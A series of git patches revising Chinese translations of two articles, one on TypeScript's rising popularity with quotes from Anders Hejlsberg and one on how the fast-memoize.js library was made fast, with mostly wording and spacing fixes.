-『毫无疑问，我们与 Angular 团队的合作有助于 TypeScript 的推广』，TypeScript 核心成员 [Anders Hejlsberg ](https://twitter.com/ahejlsberg?lang=en) 向 New Stack 说到。『但即便如此，我认为真正重要的点在于这是一次代表了行业力量重大信心的投票。』
+『毫无疑问，我们与 Angular 团队的合作有助于 TypeScript 的推广』，TypeScript 核心成员 [Anders Hejlsberg ](https://twitter.com/ahejlsberg?lang=en) 向 New Stack 说到。『但即便如此，我认为真正重要的点在于这是一次代表了行业力量重大信心的信任投票。』
 
-他指出，这种信任投票带来的影响比 Angular 更广泛。『目前，许多其它框架也在使用 TypeScript。[Aurelia](http://aurelia.io/)、[Ionic](https://ionicframework.com/)、NativeScript都以某种方式使用了 TypeScript。[Ember](https://www.emberjs.com/) 框架与[Glimmer](https://github.com/glimmerjs) 框架的最新发布版本就是使用 TypeScript 编写的。』
+他指出，这种信任投票带来的影响比 Angular 更广泛。『目前，许多其它框架也在使用 TypeScript。[Aurelia](http://aurelia.io/)、[Ionic](https://ionicframework.com/)、NativeScript都以某种方式使用了 TypeScript。[Ember](https://www.emberjs.com/) 框架与 [Glimmer](https://github.com/glimmerjs) 框架的最新发布版本就是使用 TypeScript 编写的。』
 
 > 『我们看到许多来自在这个行业经验丰富的人的信任投票。我想这可能是每个在大公司的人都会注意到的』—— Anders Hejlsberg
 
-这种信任投票也给框架的使用者带来了机会。『我们做了很多努力以成为 [React 生态](https://facebook.github.io/react/)中重要的一员。我们支持 [JSX](https://jsx.github.io/)，支持所有你在重构或是浏览 JSX 代码时想要用到的类型系统的高级特性。我们还正在和 [Vue.js](https://vuejs.org/) 社区合作以更好的支持这个框架中用到的各种模式。』 Hejlsberg说到。
+这种信任投票也给框架的使用者带来了机会。『我们做了很多努力以成为 [React 生态](https://facebook.github.io/react/)中的重要一员。我们支持 [JSX](https://jsx.github.io/)，支持所有你在重构或是浏览 JSX 代码时想要用到的类型系统的高级特性。我们还正在和 [Vue.js](https://vuejs.org/) 社区合作以更好的支持这个框架中用到的各种模式。』 Hejlsberg说到。
 
-为新框架提供支持是在开发者中保持流行度的一项重要手段。『我们始终都在关注框架领域。我们知道这是一个不断变化的生态系统。它在不断变化，你必须时刻准备着并保证一切顺利。』
+为新框架提供支持是在开发者中保持流行度的一项重要手段。『我们一直都在关注框架领域。我们知道这是一个不断变化的生态系统。它在不断变化，你必须时刻准备着并保证一切都能正常工作。』
 
-对于工具链来说也是如此，尤其是在 ECMAScript 模块愈发流行的情况下。『许多人使用模块编写现代风格的 JavaScript 应用，当你使用 ECMAScript 6模块的时候，你需要使用一个类似 [Webpack](https://webpack.github.io/) 或 [Rollup.js](https://rollupjs.org/)这样的打包工具将代码打包起来以便能在浏览器中运行。我们要确保 TypeScript 可以与这些工具配合使用以保证我们可以融入整个工具链之中』 Hejlsberg说到。
+对于工具链来说也是如此，尤其是在 ECMAScript 模块愈发流行的情况下。『许多人使用模块编写现代风格的 JavaScript 应用，当你使用 ECMAScript 6 模块的时候，你需要使用一个类似 [Webpack](https://webpack.github.io/) 或 [Rollup.js](https://rollupjs.org/) 这样的打包工具将代码打包起来以便能在浏览器中运行。我们要确保 TypeScript 可以与这些工具配合使用以保证我们可以融入整个工具链之中』 Hejlsberg说到。
 
 [![](https://cdn.thenewstack.io/media/2017/04/940acc19-stateofthenation.png)](http://vmob.me/DE1Q17)
 
-React 是由 Facebook 发起的库。Angular 是从 Google 衍生出来的框架。有很多分析把它们做了比较。总得来说，Angular 处于领跑地位，与此同时 Vue.js 正在受到大量关注。Angular 在 TypeScript 的用户圈中受到追捧，41%的人倾向于 2.x 版本，另外18%的人则更喜欢老版本。随着近期 Angular 4 的发布以及 TypeScript 的日益流行，我们预计 JavaScript 的战争还将持续下去（Lawrence Hecht）。
+React 是由 Facebook 发起的库。Angular 是从 Google 衍生出来的框架。有很多分析把它们做了比较。总得来说，Angular 处于领跑地位，与此同时 Vue.js 正在受到大量关注。Angular 在 TypeScript 的用户圈中受到追捧，41% 的人倾向于 2.x 版本，另外 18% 的人则更喜欢老版本。随着近期 Angular 4 的发布以及 TypeScript 的日益流行，我们预计 JavaScript 的战争还将持续下去（Lawrence Hecht）。
 
-拥有 TypeScript 定义的库的数量也在稳步增长。[DefinitelyTyped](http://definitelytyped.org/)，一个维护 TypeScript 类型定义的仓库，现在已经包含了超过3000个框架和库。通过把声明文件作为 npm 包发布在 @type 命名空间下，这个过程被大大提速了。
+拥有 TypeScript 类型定义的库的数量也在稳步增长。[DefinitelyTyped](http://definitelytyped.org/)，一个维护 TypeScript 类型定义的仓库，现在已经包含了超过 3000 个框架和库。通过把声明文件作为 npm 包发布在 @type 命名空间下，这个过程被大大提速了。
 
-『这意味着现在有一个可以预测哪些框架支持类型的方法 —— 我们可以自动提供这些类型。当我们发现你引用了某个特定的框架时，我们就可以帮你找到类型定义，你就不必亲自去寻找了。』事实上，Hejlsberg 声称：『对某些开发者来说，某个框架是否拥有类型定义，已经成为了他们在选择框架时的决定性因素。』
+『这意味着现在有了一个可以预测哪些框架支持类型的方法 —— 我们可以自动提供这些类型。当我们发现你引用了某个特定的框架时，我们就可以帮你找到类型定义，你就不必亲自去寻找了。』事实上，Hejlsberg 声称：『对某些开发者来说，某个框架是否拥有类型定义，已经成为了他们在选择框架时的决定性因素。』
 
-> “通常，TypeScript 被采用的流程 —— 不论是企业，创业团队还是个人开发者 —— 是你在某个项目中尝试使用并发现它很棒，接着你就开始给别人推荐。就这样，它就在你的影响范围内发展开了。”—— Anders Hejlsberg
+>『通常，TypeScript 被采用的流程 —— 不论是企业，创业团队还是个人开发者 —— 是你在某个项目中尝试使用并发现它很棒，接着你就开始推荐给别人。就这样，它就在你的影响范围内传播开了。』—— Anders Hejlsberg
 
-关注度的提高似乎是用户增长的原因之一。“我们没做过任何推广，所有这些都是社区驱动的。实际上是稳步增长，我们现在开始注意到更大的数字了。”Hejlsberg 说道。
+关注度的提高似乎是用户增长的原因之一。『我们没做过任何推广，所有这些都是社区驱动的。实际上是在稳步增长，我们现在开始注意到更大的数字了。』Hejlsberg 说道。
 
-Hejlsberg 指出 TypeScript 还是在 Stack Overflow 的调查中排在 Rust 和 Smalltalk 之后第三受欢迎的语言（排在 Swift 和 go 之前）以及第六急需人才的语言，排在 C# 和 Swift 之前。“我认为这从很大程度上说明我们解决了实际问题”Hejlsberg 指出。
+Hejlsberg 指出 TypeScript 还是在 Stack Overflow 的调查中排在 Rust 和 Smalltalk 之后第三受欢迎的语言（排在 Swift 和 go 之前）以及第六急需人才的语言，排在 C# 和 Swift 之前。『我认为这从很大程度上说明我们真的解决了实际问题』Hejlsberg 指出。
 
 
 ## 微软的影响范围 ##
 
 人们很容易把 TypeScript 的成功视为微软通过熟悉的工具把已经在微软世界中的企业开发者引入 JavaScript 的结果。
 
-“我们有一个围绕着 C#、C++ 以及 Visual Basic 的大型开发者生态系统。许多企业使用微软的工具同时他们也有前端开发，当我们开始改善前端开发的世界，他们就坐下来，注意并开始使用了。”Hejlsberg坦言。
+『我们有一个围绕着 C#、C++ 以及 Visual Basic 的大型开发者生态系统。许多企业在使用微软的工具同时也有前端开发的需求，当我们开始改善前端开发的时候，他们就坐下来，关注并开始使用了。』Hejlsberg坦言。
 
-但是，虽然很多 TypeScript 的开发工作是在 [Visual Studio](https://www.visualstudio.com/) 中进行的，和使用[ Visual Studio Code](https://code.visualstudio.com/) —— 微软开源的，跨平台的 IDE —— 的一样多。“那是一个和我们没有太多联系的社区。以 Visual Studio Code 来说，一半的用户来自非 Windows 系统，因此突然间我们就与一个之前没什么沟通的社区建立了联系。”
+但是，虽然很多 TypeScript 的开发工作是在 [Visual Studio](https://www.visualstudio.com/) 中进行的，和使用 [Visual Studio Code](https://code.visualstudio.com/) —— 微软开源的，跨平台的 IDE —— 的一样多。『那是一个和我们没有太多联系的社区。以 Visual Studio Code 来说，一半的用户来自非 Windows 系统，因此突然间我们就与一个之前没什么交流的开发者社区建立了联系。』
 
 ## 开源快车道 ##
 
-TypeScript 团队最近宣布发布周期将由每季度改为每两个月，Heljsberg 呼吁让发布日期更加可预测，而不是为了添加某个新功能而延迟发布。这也正是 ECMAScript 委员会正在采取的做法。
+TypeScript 团队最近宣布发布频率将由每季度改为每两个月，Heljsberg 呼吁让发布日期更加可预测，而不是为了添加某个新功能而延迟发布。这也正是 ECMAScript 委员会正在采取的做法。
 
 新的发布节奏也会与 Visual Studio Code 保持一致，部分原因是因为 Visual Studio Code 是由 TypeScript 开发的，但更重要的原因在于工具是 TypeScript 吸引力的重要组成部分。
 
 尽管 TypeScript 支持多种编辑器与 IDE 很重要，但 Hejlsberg 指出 Visual Studio Code 是另一个帮助该语言普及的因素。
 
-事实上，即便只是开发 JavaScript，你也能从 TypeScript 获得更好的编码特性，他解释道。“Visual Studio Code 和 Visual Studio 都使用 TypeScript 语言服务作为它们的 JavaScript 语言服务。由于 TypeScript 是 JavaScript 的超集，这意味着 JavaScript 是 TypeScript 的一个子集，它只是没有类型注释的 TypeScript 罢了。”他指出。
+事实上，即便只是开发 JavaScript，你也能从 TypeScript 获得更好的编码特性，他解释道。『Visual Studio Code 和 Visual Studio 都使用 TypeScript 语言服务作为它们的 JavaScript 语言服务。由于 TypeScript 是 JavaScript 的超集，这意味着 JavaScript 是 TypeScript 的一个子集，它只是没有类型注释的 TypeScript 罢了。』他指出。
 
-在 Visual Studio Code中，打开一个 JavaScript 文件会触发 TypeScript 的解析器、扫描器、词法分析器和类型分析器以提供 JavaScript 代码中的语句补全和代码导航。“即使没有类型注释，我们也可以通过你使用的模块以及声明的类来推断出关于项目结构的很多信息”Hejlsberg 说道。“令人惊奇的是，我们可以自动为你引用的框架导入类型信息，然后就可以为你提供出色的语句补全功能，”
+在 Visual Studio Code中，打开一个 JavaScript 文件会触发 TypeScript 的解析器、扫描器、词法分析器和类型分析器以提供 JavaScript 代码中的语句补全和代码导航功能。『即使没有类型注释，我们也可以通过你使用的模块以及声明的类来推断出关于项目结构的很多信息』Hejlsberg 说道。『令人惊奇的是，我们可以自动为你引用的框架导入类型信息，然后就可以为你提供出色的语句补全功能。』
 
-使这样的快速发布节奏成为可能的是所有 pull request 被合并前必须通过测试，保证了 master 分支的质量和 TypeScript 的流行，这意味着任何问题都可以被快速发现。
+使这样的快速发布节奏成为可能的是所有 pull request 被合并前必须通过测试，这保证了 master 分支的代码质量和 TypeScript 的流行，意味着任何问题都可以被快速发现。
 
-“我们是一个开源项目，我们在 GitHub 上做了很多工作。我们绝不合并任何 pull request，触发它能通过我们现有的 55000 个测试；如果是增加新功能，就必须提供相应的测试代码；如果是修改 bug，就必须提供回归测试。这意味着我们的 master 分支始终保持着很高的代码质量。”他说道。
+『我们是一个开源项目，我们在 GitHub 上做了很多工作。我们绝不合并任何 pull request，除非它能通过我们现有的 55000 个测试；如果是增加新功能，就必须提供相应的测试代码；如果是修改 bug，就必须提供回归测试。这意味着我们的 master 分支始终保持着很高的代码质量。』他说道。
 
 ## JavaScript: 强大但复杂 ##
 
 除了任何一个单一因素以外，驱使 TypeScript 愈发流行的真实原因可能是现如今 JavaScript 开发越来越高的复杂性以及越来越强大的能力。
 
-“我们的行业和 JavaScript 的使用都发生了巨大的变化。” Hejlsberg指出。“以前我们生活在一个同质的世界。所有人都使用 Windows 和浏览器，这就是你如何接触 JavaScript的。现在世界已经变得非常多元化了。有各种不同的设备 —— 手机和平板电脑，并且在后端使用 node 运行 JavaScript。JavaScript 还脱离了浏览器，通过使用 NativeScript、React Native 或是 Cordova 你已经可以使用 JavaScript 构建原生应用。”
+『我们的行业和 JavaScript 的使用都发生了巨大的变化。』 Hejlsberg指出。『以前我们生活在一个同质的世界。所有人都使用 Windows 和浏览器，这就是你如何使用 JavaScript 的。现在世界已经变得非常多元化。有各种不同的设备 —— 手机和平板电脑，还在后端使用 node 运行 JavaScript。JavaScript 还挣脱了浏览器，通过使用 NativeScript、React Native 或是 Cordova 你已经可以使用 JavaScript 构建原生应用。』
 
-“是的，它变得更复杂，但也有着无限多的能力。” Hejlsberg 谈到 JavaScript。“利用 JavaScript，你可以使用同一种语言和工具开发出如此多种类的应用。对我而言，这正是推动所有这些的原因：你可以开发不同类型应用的多样性，你能从这个不断进化的生态系统中获得的可重用性。它不仅仅变得更复杂了，它也更强大了。”
+『是的，它变得更复杂，但也有着无限多的能力。』 Hejlsberg 谈到 JavaScript 时说道。『利用 JavaScript，你可以使用同一种语言和工具开发出如此多种类的应用。对我而言，这正是推动所有这一切的原因：你可以开发不同类型应用的多样性以及你能从这个不断进化的生态系统中获得的可重用性。它不仅仅变得更复杂了，也更强大了。』
 
-*TNS analyst [Lawrence Hecht](https://thenewstack.io/author/lawrence-hecht/) contributed to this report.*
+*TNS 分析员 [Lawrence Hecht](https://thenewstack.io/author/lawrence-hecht/) 为此份报告提供了帮助。*
 
 
 

From 772f820fb3775838d3ec9ea99d3b08890222f50b Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Tue, 9 May 2017 13:56:39 +0800
Subject: [PATCH 383/638] fix

---
 TODO/typescript-getting-popular.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/typescript-getting-popular.md b/TODO/typescript-getting-popular.md
index 656acffde12..5f92e1792e1 100644
--- a/TODO/typescript-getting-popular.md
+++ b/TODO/typescript-getting-popular.md
@@ -10,7 +10,7 @@
 
 为何 [TypeScript](https://www.typescriptlang.org/) 这么流行呢？许多主流的开发框架依赖于它，它还能提高开发者在不断变化的 JavaScript 世界中的生产力。
 
-在最近的 [Stack Overflow 开发者调查](https://stackoverflow.com/insights/survey/2017#technology)以及年度[RedMonk](http://redmonk.com)编程[语言排名](https://redmonk.com/sogrady/2017/03/17/language-rankings-1-17/)中都显示 [TypeScript](https://www.thenewstack.io/tag/TypeScript) —— 由微软发起的结合了编译高级 JavaScript 特性与静态类型检查及工具的开源项目 —— 正在达到新的人气高度。通过为 JavaScript 提供[最基本的检查语法](https://medium.com/@tomdale/glimmer-js-whats-the-deal-with-typescript-f666d1a3aad0)，TypeScript 允许开发者对他们的代码进行类型检查，这可以暴露 bug 并改善大型 JavaScript 代码库的结构和文档。
+在最近的 [Stack Overflow 开发者调查](https://stackoverflow.com/insights/survey/2017#technology)以及年度 [RedMonk](http://redmonk.com) 编程[语言排名](https://redmonk.com/sogrady/2017/03/17/language-rankings-1-17/)中都显示 [TypeScript](https://www.thenewstack.io/tag/TypeScript) —— 由微软发起的结合了编译高级 JavaScript 特性与静态类型检查及工具的开源项目 —— 正在达到新的人气高度。通过为 JavaScript 提供[最基本的检查语法](https://medium.com/@tomdale/glimmer-js-whats-the-deal-with-typescript-f666d1a3aad0)，TypeScript 允许开发者对他们的代码进行类型检查，这可以暴露 bug 并改善大型 JavaScript 代码库的结构和文档。
 
 参与了 Stack Overflow 调查的开发者中有 9.5% 的人正在使用 TypeScript，这使得 TypeScript 成为了第九流行的编程语言。排名在 Ruby 之前，用户量是 Perl 的两倍。此次 Stack Overflow 调查中的受访者来自不同领域；使用最广泛的两种语言是 JavaScript 和 SQL，这说明此次调查并非只针对前端开发。事实上，TypeScript 程序员出现在了参与 Stack Overflow 调查的所有 4 种工作角色中；web 开发者、桌面开发者、系统管理员与 DevOps 以及数据科学家。
 

From a0091ec3be7248a59e445f4607f2eab62c67270a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 9 May 2017 18:52:42 +0800
Subject: [PATCH 384/638] Update
 the-worlds-fastest-javascript-memoization-library.md
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

根据校对意见修改。
---
 ...-fastest-javascript-memoization-library.md | 36 ++++++++++---------
 1 file changed, 19 insertions(+), 17 deletions(-)

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
index 933d1452992..d184dfcdaa9 100644
--- a/TODO/the-worlds-fastest-javascript-memoization-library.md
+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -7,20 +7,21 @@
 # 我是如何实现世界上最快的 JavaScript 记忆化的 #
 
 
-**在本文中，我将详细介绍如何实现 [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js)，它是世界上最快的 JavaScript 记忆化（memoization）实现，每秒能进行 50,000,000 万次操作。**
+**在本文中，我将详细介绍如何实现 [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js)，它是世界上最快的 JavaScript 记忆化（memoization）实现，每秒能进行 50,000,000 次操作。**
 我们会详细讨论实现的步骤和决策，并且给出代码实现和性能测试作为证明。
 
 **fast-memoize.js** 是开源项目，欢迎大家给我留言和建议。
 
-不久前，我尝试了V8中一些[即将发布的特性](http://www.2ality.com/2015/06/tail-call-optimization.html)，以斐波那契算法为基础做了一些基准测试实验。
+不久前，我尝试了 V8 中一些[即将发布的特性](http://www.2ality.com/2015/06/tail-call-optimization.html)，以斐波那契算法为基础做了一些基准测试实验。
 实验之一就是比较斐波那契算法的记忆化版本和普通实现，结果表明记忆化版本有着巨大的性能优势。
 
-意识到这一点，我又翻阅了不同的记忆化库的实现，并比较了它们的性能（因为……呃，为什么不呢？）。记忆化算法本身非常简单，然而我震惊的发现不同实现之间性能差异巨大。
+意识到这一点，我又翻阅了不同的记忆化库的实现，并比较了它们的性能（因为……呃，为什么不呢？）。记忆化算法本身非常简单，然而我震惊地发现不同实现之间性能差异巨大。
+
 这是什么原因呢？
 
 ![常见 JavaScript 记忆化库的性能](https://blog-assets.risingstack.com/2017/01/performance-of-popular-javascript-memoization-libraries.png)
 
-在翻阅 [lodash](https://github.com/lodash/lodash/blob/master/memoize.js#L50) 和 [underscore](https://github.com/jashkenas/underscore/blob/master/underscore.js#L810) 的源码时，我发现默认情况下，它们只能记忆化接受一个参数的函数。于是我就很好奇，能否实现一个足够快并且可以接受多个参数的版本呢？*（或许可以开发出npm包给全世界的开发者使用呢？）*
+在翻阅 [lodash](https://github.com/lodash/lodash/blob/master/memoize.js#L50) 和 [underscore](https://github.com/jashkenas/underscore/blob/master/underscore.js#L810) 的源码时，我发现默认情况下，它们只能记忆化接受一个参数的函数。于是我就很好奇，能否实现一个足够快并且可以接受多个参数的版本呢？**（或许可以开发出 npm 包给全世界的开发者使用呢？）**
 
 下文中，我将详细介绍实现它的步骤，以及实现过程中所做的决策。
 
@@ -29,7 +30,7 @@
 引自[ Haskell 语言 wiki](https://wiki.haskell.org/Memoization)
 > 『记忆化是保存函数执行结果，而不是每次重新计算的一种技术。』
 
-**换句话说，记忆化就是对于函数的缓存。** 它只适用于确定性算法,对于相同的输入总是生成相同的输出。
+**换句话说，记忆化就是对于函数的缓存。** 它只适用于确定性算法，对于相同的输入总是生成相同的输出。
 
 为了便于理解和测试，我们把这个问题拆分成几个小问题。
 
@@ -42,8 +43,7 @@
 3. **策略**：将缓存和序列化组合起来，输出记忆化函数。
 
 现在我们就要分别以不同的方式实现这 3 个部分，测试它们的性能，选择其中最快的方式，最后将它们结合起来就是我们最终的算法了。
-The goal here is to let the computer do the heavy lifting for us!
-这样做的目标就是提升计算性能？？？
+这样做的目标就是让计算机为我们解除重担！
 
 ### #1 - 缓存 ###
 
@@ -63,6 +63,7 @@ The goal here is to let the computer do the heavy lifting for us!
 #### 实现 ####
 
 每次执行记忆化函数，我们需要做的就是：检查对应输入的输出是否已经被计算过。
+
 因此最合理的数据结构是哈希表。它能够在 O(1) 时间复杂度检查某个值是否存在。 从底层看，一个 JavaScript 对象就是一个哈希表（[或类似的结构](https://simplenotions.wordpress.com/2011/07/05/javascript-hashtable/)），所以我们可以将输入作为哈希表的 key，将输出作为它的 value。
 
 ```js
@@ -83,6 +84,7 @@ The goal here is to let the computer do the heavy lifting for us!
 4. [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)
 
 以下是这些实现的性能测试。本地运行，请执行命令 `npm run benchmark:cache`。不同版本实现的源码可以在[项目的 GitHub 页面](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/cache)找到。
+
 ![Variable JavaScript memoization cache](https://blog-assets.risingstack.com/2017/01/variable-javascript-memoization-cache.png)
 
 #### 还需要一个序列化器 ####
@@ -141,19 +143,19 @@ The goal here is to let the computer do the heavy lifting for us!
 
 改善性能的一个有效方法是优化热路径（hot path，指执行频率最高的路径，译者注）。对我们的代码来说，热路径就是接受一个基本类型参数的函数，这种情况下我们不需要对参数序列化。
 
-1. 检查`arguments.length === 1` && 参数为基本类型
+1. 检查 `arguments.length === 1` && 参数为基本类型
 2. 如果`是`，无需序列化参数，因为基本类型本身就可以作为缓存的key
 3. 检查给定输入的输出是否已经计算过
-4. 如果`是`，从缓存中读取结果
-5. 如果`否`，计算，并且将结果保存到缓存中
+4. 如果 `true`，从缓存中读取结果
+5. 如果 `false`，计算，并且将结果保存到缓存中
 
 ![针对单个参数优化](https://blog-assets.risingstack.com/2017/01/optimizing-for-single-argument.png)
 
-通过避免执行不必要的序列化操作，我们可以得到更快的执行结果（对热路径而言）。现在可以达到**每秒5,500,000次**了。
+通过避免执行不必要的序列化操作，我们可以得到更快的执行结果（对热路径而言）。现在可以达到**每秒 5,500,000 次**了。
 
 #### 参数推断 ####
 
-对已定义的函数，`function.length` 返回期望接受的参数个数。我们可以通过给策略 monadic（单参数函数）和 not-monadic，这样就避免了检查 `arguments.length === 1`。
+`function.length` 返回一个已定义函数的形参个数，我们可以利用这个性质避免动态检查函数的实参个数（即避免 `arguments.length === 1` 的条件判断，译者注），并为单参数函数和非单参数函数分别提供不同的策略。
 
 ```js
     functionfoo(a, b) {
@@ -181,7 +183,7 @@ The goal here is to let the computer do the heavy lifting for us!
 这种方式可以将函数的某些参数固定下来。我用就它把**原函数**，**缓存**，和**序列化器**固定下来。就用它来试试吧！
 ![偏函数](https://blog-assets.risingstack.com/2017/01/partial-application.png)
 
-哇！效果非常好。？？？这个版本可以达到**每秒 20,000,000 次操作**。
+哇！效果非常好。我不知道如何进一步改进，但我对这个版本的测试结果已经很满意了。这个版本可以达到**每秒 20,000,000 次操作**。
 
 ## 最快的 JavaScript 记忆化组合 ##
 
@@ -210,10 +212,10 @@ Legend:
 
 ## 与流行库的性能对比 ##
 
-有了上面的算法，是时候把它同最流行的库做一个性能上的比较了。运行命令`npm run benchmark`，就可以在本地执行了。结果如下：
+有了上面的算法，是时候把它同最流行的库做一个性能上的比较了。运行命令 `npm run benchmark`，就可以在本地执行了。结果如下：
 ![与流行库的性能对比](https://blog-assets.risingstack.com/2017/01/benchmarking-against-other-memoization-libraries.png)
 
-[fast-memoize.js](https://github.com/caiogondim/fast-memoize.js)是最快的，几乎是第二名的 3 倍，**每秒27,000,000次操作**。
+[fast-memoize.js](https://github.com/caiogondim/fast-memoize.js)是最快的，几乎是第二名的 3 倍，**每秒 27,000,000次操作**。
 
 ### 面向未来 ###
 
@@ -228,7 +230,7 @@ V8有一个很新的、未发布的优化编译器 [TurboFan](http://v8project.b
 
 ## 结论 ##
 
-以上就是我创建这个世界上最快的记忆化库的过程。分别实现各个部分，组合它们，然后统计每种组合方案的性能数据，从中选择最优的方案。*(使用 [benchmark.js](https://benchmarkjs.com/) )。*
+以上就是我创建这个世界上最快的记忆化库的过程。分别实现各个部分，组合它们，然后统计每种组合方案的性能数据，从中选择最优的方案。**(使用 [benchmark.js](https://benchmarkjs.com/) )。**
 希望这个过程对其他开发者有所帮助。
 
 [fast-memoize.js 是目前最好的 #JavaScrip 库, 并且我会努力让它一直是最好的。](https://twitter.com/share)
@@ -236,7 +238,7 @@ V8有一个很新的、未发布的优化编译器 [TurboFan](http://v8project.b
 
 **并非是因为我聪明绝顶, 而是我会一直维护它。** 欢迎给我提交 [Pull requests](https://github.com/caiogondim/fast-memoize.js/pulls)。
 
-正如前V8工程师 [Vyacheslav Egorov](https://www.youtube.com/watch?v=g0ek4vV7nEA&amp;t=22s) 所言，在虚拟机上测试算法性能非常棘手。如果你发现测试中的错误，请在 [GitHub](https://github.com/caiogondim/fast-memoize.js/issues) 上提交 issue。
+正如前 V8 工程师 [Vyacheslav Egorov](https://www.youtube.com/watch?v=g0ek4vV7nEA&amp;t=22s) 所言，在虚拟机上测试算法性能非常棘手。如果你发现测试中的错误，请在 [GitHub](https://github.com/caiogondim/fast-memoize.js/issues) 上提交 issue。
 
 The same goes for the library itself. Create an issue if you spotted anything wrong (issues with a failing test are appreciated).
 ？？？

From 220094268f59b153692f2326fb1a50722f7f822f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 9 May 2017 18:55:13 +0800
Subject: [PATCH 385/638] Update
 the-worlds-fastest-javascript-memoization-library.md

---
 TODO/the-worlds-fastest-javascript-memoization-library.md | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
index d184dfcdaa9..7be92e19a46 100644
--- a/TODO/the-worlds-fastest-javascript-memoization-library.md
+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -240,10 +240,8 @@ V8有一个很新的、未发布的优化编译器 [TurboFan](http://v8project.b
 
 正如前 V8 工程师 [Vyacheslav Egorov](https://www.youtube.com/watch?v=g0ek4vV7nEA&amp;t=22s) 所言，在虚拟机上测试算法性能非常棘手。如果你发现测试中的错误，请在 [GitHub](https://github.com/caiogondim/fast-memoize.js/issues) 上提交 issue。
 
-The same goes for the library itself. Create an issue if you spotted anything wrong (issues with a failing test are appreciated).
-？？？
-Pull requests with improvements are super appreciated!
-？？？
+这个库也一样，如果你发现任何问题请提交 issue（如果带上错误用例我会很感激）。带有改进建议的 Pull requests 我将感激不尽。
+
 如果你喜欢这个库，欢迎 [star](https://github.com/caiogondim/fast-memoize.js/stargazers)。这是对我们开源开发者的鼓励哦。
 
 #### 参考文献 ####

From a9a2b9934313103121b8a2a7ffffa22fc2e4ee67 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 9 May 2017 18:59:14 +0800
Subject: [PATCH 386/638] Update
 the-worlds-fastest-javascript-memoization-library.md

---
 .../the-worlds-fastest-javascript-memoization-library.md | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
index 7be92e19a46..6889bfa8066 100644
--- a/TODO/the-worlds-fastest-javascript-memoization-library.md
+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -103,9 +103,12 @@
 ### #2 - 序列化器 ###
 
 序列化器基于给定的输入输出一个字符串。它必须是一个确定性算法，意味着对相同的输入，总是给出相同的输出。
+
 序列化器生成的字符串用作缓存的key，代表记忆化函数的输入。
+
 `JSON.stringify` 是实现它性能最佳的方式，比其它方式的都好 -- 这也很容易理解，因为 `JSON.stringify` 是原生的。
 我尝试使用 bound `JSON.stringify`（`bar = foo.bind(null)`，此时 `bar.name` 为 `bound foo`，译者注），希望通过减少一次变量查找来提高性能，但很遗憾没有效果。
+
 想在本地执行，可以执行命令 `npm run benchmark:serializer`，实现的具体代码可以在[项目的 GitHub 页面](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/serializer)找到。
 
 ![变量序列化器](https://blog-assets.risingstack.com/2017/01/variable-serializer.png)
@@ -189,8 +192,10 @@
 
 上面我们把记忆化分解为了 3 个部分。
 
-对每个部分，我们将其中 2 个部分固定，更换其余一个测试其性能。通过这种单变量测试，我们能更加确信每次改变的效果--由于GC造成的不确定性停顿，JS代码的性能并不完全确定。
+对每个部分，我们将其中 2 个部分固定，更换其余一个测试其性能。通过这种单变量测试，我们能更加确信每次改变的效果--由于 GC 造成的不确定性停顿，JS代码的性能并不完全确定。
+
 V8 会更根据函数的调用频率、代码结构等因素，做很多运行时优化。
+
 为了确保我们将这 3 部分组合起来时不会错过大量性能优化的机会，我们尝试所有可能的组合。
 一共 4 种策略 x 2 种序列化器 x 4 种缓存 = **32 种不同的组合**。本地运行，请执行命令 `npm run benchmark:combination`。下面是性能最好的 5 种组合：
 
@@ -212,7 +217,7 @@ Legend:
 
 ## 与流行库的性能对比 ##
 
-有了上面的算法，是时候把它同最流行的库做一个性能上的比较了。运行命令 `npm run benchmark`，就可以在本地执行了。结果如下：
+有了上面的算法，是时候把它同最流行的库做一个性能上的比较了。本地运行，请执行命令 `npm run benchmark`。结果如下：
 ![与流行库的性能对比](https://blog-assets.risingstack.com/2017/01/benchmarking-against-other-memoization-libraries.png)
 
 [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js)是最快的，几乎是第二名的 3 倍，**每秒 27,000,000次操作**。

From 857089e80e9fc2c633f00677ca9dd766792a3cc5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 9 May 2017 19:01:56 +0800
Subject: [PATCH 387/638] Update
 the-worlds-fastest-javascript-memoization-library.md

---
 TODO/the-worlds-fastest-javascript-memoization-library.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
index 6889bfa8066..c4627b9ebed 100644
--- a/TODO/the-worlds-fastest-javascript-memoization-library.md
